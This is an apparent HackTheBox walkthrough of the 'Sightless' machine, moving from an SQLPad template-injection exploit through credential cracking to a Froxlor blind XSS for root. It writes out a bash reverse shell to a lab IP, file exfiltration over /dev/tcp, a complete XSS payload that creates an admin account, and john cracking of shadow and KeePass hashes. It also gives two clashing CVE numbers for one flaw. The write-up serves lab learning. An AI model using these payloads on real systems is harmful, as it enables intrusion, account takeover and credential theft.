==================================

captionless image

Reference by MrXcrypt

Introduction

In this write-up, We’ll go through an easy Linux machine where we first gain an initial foothold by exploiting a Sqlpad CVE, followed by exploiting a Blind XSS vulnerability in Froxler to gain root access. writeup walkthrough HackTheBox easy linux CVE SQLPad BlindXSS froxler

NOTE:

The subdomain ‘sqlpad.sightless.htb’ may not work as expected when you encounter even after you add it in the /etc/hosts file. At that time, Reset the machine for it to work properly.

Reconnaissance

  1. After Starting the machine, I set my target IP as $target environment variable and ran the Nmap command.

Command — Port Scan: Nmap nmap

nmap $target --top-ports=1000 -sV -v -sC  -Pn > nmap.out

captionless image

  1. As usual, I added the host: sightless.htb in /etc/hosts.

  2. I started directory and subdomain fuzzing in the background while enumerating the website.

  3. The site has a Sqlpad service running on “sqlpad.sightless.htb”.

captionless image

  1. The About section mentions the Sqlpad version as ‘6.10.0’.

captionless image

  1. Searching for ‘Sqlpad 6.10.0 exploit’ brought this Template Injection exploit. SSTI Exploit TemplateInjection

captionless image

Exploit: https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

Initial Foothold

CVE-2023–41425 Description

CVE-2022–0944 is a template injection vulnerability in SQLPad versions prior to 6.10.1, specifically in the connection test endpoint, which allows remote code execution.

  1. According to the exploit, we need to choose MySQL as the driver and input the payload below in the Database form field. CVE-2023-41425 RemoteCodeExecution

Payload:

Weird Error popped up when pasting this payload in code block in medium

  1. Let’s fire up the burp suite, and capture the request.

captionless image

  1. Let’s test this, capture the request, and send it to the repeater.

captionless image

  1. There are two inputs as “database”, we can find which input field is making the connection by connecting to our IP.

captionless imagecaptionless image

  1. It made a connection, we can use the second “database” field.

  2. We need to craft a one-liner bash reverse shell payload with base64 encoded to send in the SSTI payload. SSTIpayload ReverseShell

Exploit:

Command — Base64 encoded bash reverse shell: bash

echo -n "bash -i >& /dev/tcp/10.10.14.156/9001 0>&1" | base64 -w0 
  1. Let’s craft the SSTI payload with this reverse shell payload and send it via burp repeater.

Payload:

captionless image

Reverse Shell Listener:

captionless image

  1. Now we are root in a docker container. docker

Lateral Movement

i. User Flag

  1. There is a file named ‘sqlpad.sqlite’ in the current directory, we can send the file to our machine using nc and check for any passwords. userflag netcat

Command — send file via nc: cat

cat sqlpad.sqlite > /dev/tcp/10.10.14.156/9001

Command — receive the file via nc: nc

nc -nvlp 9001 > sightless.sqlite

Command — dump SQLite DB: sqlite3 sqlite3

sqlite3 sightless.sqlite .dump 

captionless image

  1. The hash inside the file is a password for sqlpad admin. We don’t need it for now.

  2. Let’s examine the users in the docker container.

captionless image

  1. We can check the shadow file to find the hash of the user ‘michael’.

captionless image

  1. Let’s crack the hash of the user Michael using john. JohnTheRipper

Command — Crack the Hash: john

john michael.hash --wordlist=/mnt/HDD1/VM\ files/kali/wordlists/rockyou.txt --format=sha512crypt 

captionless image

Note: You can identify the hash type using any hash identifier site.

https://hashes.com/en/tools/hash_identifier

  1. Let’s use this password for the user ‘michael’.

captionless image

ii. Root Flag

  1. Let’s first check the processes running as usual rootflag PrivilegeEscalation

Command — Running processes: ps ps

ps -ef --forest

captionless image

  1. Let’s also check the running ports & services.

Command — Running services: ss ss

ss -lntp

captionless image

  1. We see a possible website running on port 8080. (Mostly 80 & 8080 are used for websites)

  2. Let’s forward this using ssh to access the website in our local machine. portforwarding

Command — ssh forwarding: ssh

ssh -L 9000:127.0.0.1:8080 michael@10.10.11.32

captionless image

  1. We found a Froxler login page upon visiting the site.

captionless image

  1. Upon searching for ‘froxler exploit’ we found a blind XSS vulnerability.

captionless image

Proof Of Concept:

  1. Provide an invalid username in Login.

  2. Turn on intercept in Burp Suite.

  3. In the intercepted request, add the following XSS payload as the value of loginname parameter (Copy from below file): payload.txt

  4. Turn off the intercept.

  1. First, Let’s capture the login request and send it to the Burp Repeater.

captionless image

  1. In the given payload.txt, we need to change the URL and Loginname (your choice) and take note of the password provided (Abcd@@1234).

  2. Change the URL from ‘https://demo.froxlor.org/admin_admins.php’ to ‘/admin_admins.php’. Since we don’t know the full URL, also the relative path will work in sending HTTP Request.

Final Payload:

admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"/admin_admins.php"%3bvar+params%3d"new_loginname%3dmrxcrypt%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}

In the payload,

username: mrxcrypt

password: Abcd@@1234

  1. Let’s send this payload in ‘loginname’ parameter via Burp Repeater.

captionless image

  1. Now Try to login via froxler login page with the mentioned username and password in the payload.

captionless image

  1. We can see our username is added as an ‘Admin’.

captionless image

  1. We found a customer named ‘web1’.

captionless image

  1. Clicking on the customer, we can see and edit the customer’s dashboard.

captionless image

  1. There is an FTP service running on this ‘web1’ customer dashboard. We also found an FTP service running on port 21 in the Nmap command. ftp

  2. Upon editing the service, we can change the password.

  3. Let’s try to log in as web1 in FTP.

captionless image

  1. Let’s use ‘lftp’ which is more secure and faster.

captionless image

  1. We are connected, but there is a certificate verification error. We can turn off this verification with the below command.

set ssl:verify-certificate false

captionless image

  1. There is a Keepass Database file inside the folder ‘Database.kdb’.

captionless image

  1. Let’s get hash using ‘keepass2john’ command. keepass keepass2john

Command — Get Keepass hash: keepass2john

keepass2john Database.kdb

captionless image

  1. Let’s crack the password hash using john.

Command — Crack the Hash: john

john keepass.hash --wordlist=/mnt/HDD1/VM\ files/kali/wordlists/rockyou.txt --format=KeePass-opencl

captionless image

  1. Use ‘kpcli’ command to access the keepass Database file.

Command — Access Keepass DB: kpcli kpcli

 kpcli --kdb Database.kdb 

captionless image

  1. We can go through this file and in the directory ‘/General/sightless.htb/Backup’, there is a ssh password record.

-f flag will reveal the password

  1. We couldn’t use this password to ssh into the server as root. Hence we can use the id_rsa attachment.

captionless image

  1. We can export the attachment into our local machine.

  2. Let’s change the permission of the id_rsa file.

chmod 600 id_rsa  
  1. There is a ‘\n’ new line in the id_rsa file, remove it.

captionless image

  1. Click Backspace at the end of the file.

captionless image

  1. We still getting an error in id_rsa file.

captionless image

  1. Let’s examine the id_rsa file in hex.

captionless image

  1. We see many ‘0d 0a’ in the file, but it should be just ‘0a’. We can use the dos2unix command to rectify this.

Command — Dos to Unix format: dos2unix dos2unix chmod

dos2unix id_rsa

captionless image

  1. Now we are good to use the id_rsa file.

captionless image

Now, We are ROOT! Thanks for Reading. Happy hacking!!